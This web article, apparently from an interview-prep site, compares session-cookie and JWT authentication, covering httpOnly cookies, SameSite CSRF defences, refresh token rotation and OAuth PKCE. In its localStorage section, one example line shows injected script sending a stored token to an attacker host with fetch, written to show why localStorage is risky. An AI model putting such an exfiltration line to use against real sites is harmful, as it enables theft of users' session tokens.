Security10 min read · Updated 2026-06-01

JWT vs Cookie Authentication: What Senior Interviewers Want to Know

The definitive comparison of JWT and cookie-based auth — token storage, refresh token rotation, httpOnly cookies, CSRF, and the real reasons to choose one over the other.

💡 Practice these concepts interactively with AI feedback

Start Practicing →

JWT vs Cookie Authentication: What Senior Interviewers Want to Know

"Where should you store authentication tokens?" is one of the most frequently asked senior frontend questions. Most candidates get half of it right. This guide covers all of it.

The Core Mental Model

Authentication is a trust problem: "How does the server verify that request #1,000,000 comes from the same user who authenticated in request #1?"

Two approaches: 1. Session-based: server remembers the user; browser carries only an ID 2. Token-based (JWT): server forgets the user; browser carries a self-verifying token

Neither is universally better. The right choice depends on your architecture.

---

Session-Based Authentication

Login:  POST /login → server creates session → Set-Cookie: sid=abc123; HttpOnly
Request: GET /profile → Cookie: sid=abc123 → server looks up session in Redis
Logout: DELETE session from Redis → cookie becomes invalid immediately

Pros:

  • Instant revocation — delete the session, the user is logged out immediately
  • Small cookie (just an ID), no sensitive data in the browser
  • Server has full visibility over active sessions

Cons:

  • Requires a shared session store (Redis) for horizontal scaling
  • Every request hits the session store for lookup

---

JWT — JSON Web Tokens

// JWT structure: header.payload.signature (base64url encoded, NOT encrypted)
{
  "sub": "user_123",
  "email": "alice@example.com",
  "role": "admin",
  "iat": 1700000000,
  "exp": 1700003600   // expires in 1 hour
}
// Signed with server's secret key — tampering invalidates signature

The server validates the signature without any database lookup. This is the "stateless" advantage.

Pros:

  • No session store needed — works across microservices
  • Horizontal scaling trivially (any server validates any token)
  • Can encode claims (roles, permissions) — no extra DB query

Cons:

  • Cannot revoke before expiry — a stolen JWT is valid until exp
  • Token grows with each added claim
  • Secret key rotation is tricky at scale

---

The Most Important Question: Where Do You Store the Token?

This is the question interviewers ask to separate senior from junior candidates.

### localStorage / sessionStorage

// Common but problematic
localStorage.setItem('token', jwt);

// Any script on the page can read it — including injected XSS fetch('https://attacker.com/steal', { body: localStorage.getItem('token') // token gone });

Problem: XSS vulnerability. Any JavaScript on your page — including third-party scripts, browser extensions, or injected code — can read localStorage.

### httpOnly Cookie (Correct Answer)

# Server sets the token as httpOnly cookie
Set-Cookie: access_token=<jwt>; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900

JavaScript cannot access it

document.cookie // won't show access_token localStorage // not here either

Browser sends it automatically with every request to the domain

GET /api/profile Cookie: access_token=<jwt> // browser adds this, code doesn't

Why this is correct: HttpOnly prevents JavaScript from reading the cookie. XSS attacks cannot steal what JavaScript cannot access. The token is invisible to all client-side code.

The trade-off: Now you must mitigate CSRF (since cookies are sent automatically). Solution: SameSite=Strict or SameSite=Lax prevents cross-site requests from carrying the cookie.

---

Refresh Token Rotation

Access tokens should be short-lived (15 minutes). How do you avoid logging users out every 15 minutes?

Login response:
  Set-Cookie: access_token=<at>; HttpOnly; Max-Age=900   (15 min)
  Set-Cookie: refresh_token=<rt>; HttpOnly; Path=/auth/refresh; Max-Age=604800 (7 days)

When access token expires (401 received): POST /auth/refresh Cookie: refresh_token=<rt>

Refresh response: Set-Cookie: access_token=<new_at>; HttpOnly; Max-Age=900 // new access token Set-Cookie: refresh_token=<new_rt>; HttpOnly; Max-Age=604800 // new refresh token (ROTATION) // Old refresh token is now invalid

Why rotation matters: Each refresh token is single-use. If an attacker steals the refresh token and uses it, the legitimate user's next refresh attempt fails (the token was already rotated). The system detects the reuse, revokes the entire token family, and forces re-login.

---

OAuth 2.0 with PKCE (For "Sign in with Google/GitHub")

SPAs cannot safely hold a client secret. The Authorization Code + PKCE flow solves this:

// 1. Generate code verifier and challenge
const verifier = crypto.randomUUID() + crypto.randomUUID(); // random 64-char string
const challenge = btoa(await crypto.subtle.digest('SHA-256', encoder.encode(verifier)));

// 2. Redirect to OAuth provider window.location.href = https://provider.com/authorize? client_id=your_app& redirect_uri=https://yourapp.com/callback& response_type=code& code_challenge=${challenge}& code_challenge_method=S256;

// 3. Exchange code for tokens (with the verifier that proves your identity) const tokens = await fetch('https://provider.com/token', { method: 'POST', body: new URLSearchParams({ code: callbackCode, code_verifier: verifier, // proves you started this flow client_id: 'your_app', grant_type: 'authorization_code', }), });

Why PKCE: The code_verifier proves the entity exchanging the authorization code is the same one that started the flow. An attacker who intercepts the code from the URL cannot exchange it without the verifier.

---

The Complete Security Checklist

| Threat | Defense | |--------|---------| | XSS stealing tokens | httpOnly cookies | | CSRF forging requests | SameSite=Strict/Lax | | Token reuse after logout | Refresh token rotation | | Stolen refresh token | Rotation + family revocation | | Long-lived access | Short expiry (15m) access tokens | | Man-in-the-middle | Secure flag on cookies (HTTPS only) |

---

Interview Answer Template

"I'd store the access token in an httpOnly cookie — JavaScript can't read it, so XSS attacks can't steal it. Access tokens should be short-lived (15 minutes) with a separate long-lived refresh token, also httpOnly, scoped to the refresh endpoint only. On expiry, the client hits /auth/refresh to get a new pair. Refresh tokens should rotate on each use — this detects replay attacks. For CSRF protection with cookies, I'd set SameSite=Lax or Strict, which blocks cross-site cookie sending for most attack vectors. localStorage is convenient but off the table for tokens in security-conscious applications."

Put This Into Practice

Reading articles is passive. JSPrep Pro makes you actively recall, predict output, and get AI feedback.

Start Free →Browse All Questions

Related Articles

Deep Dive
We Built a RAG-Powered AI Question Engine Into a JavaScript Interview Platform — Here's Exactly How It Works
12 min read
Build Systems
Monorepo with Turborepo vs Nx: The Complete Comparison (2025)
9 min read
Core Concepts
map() vs forEach() in JavaScript: Which One to Use and Why It Matters
7 min read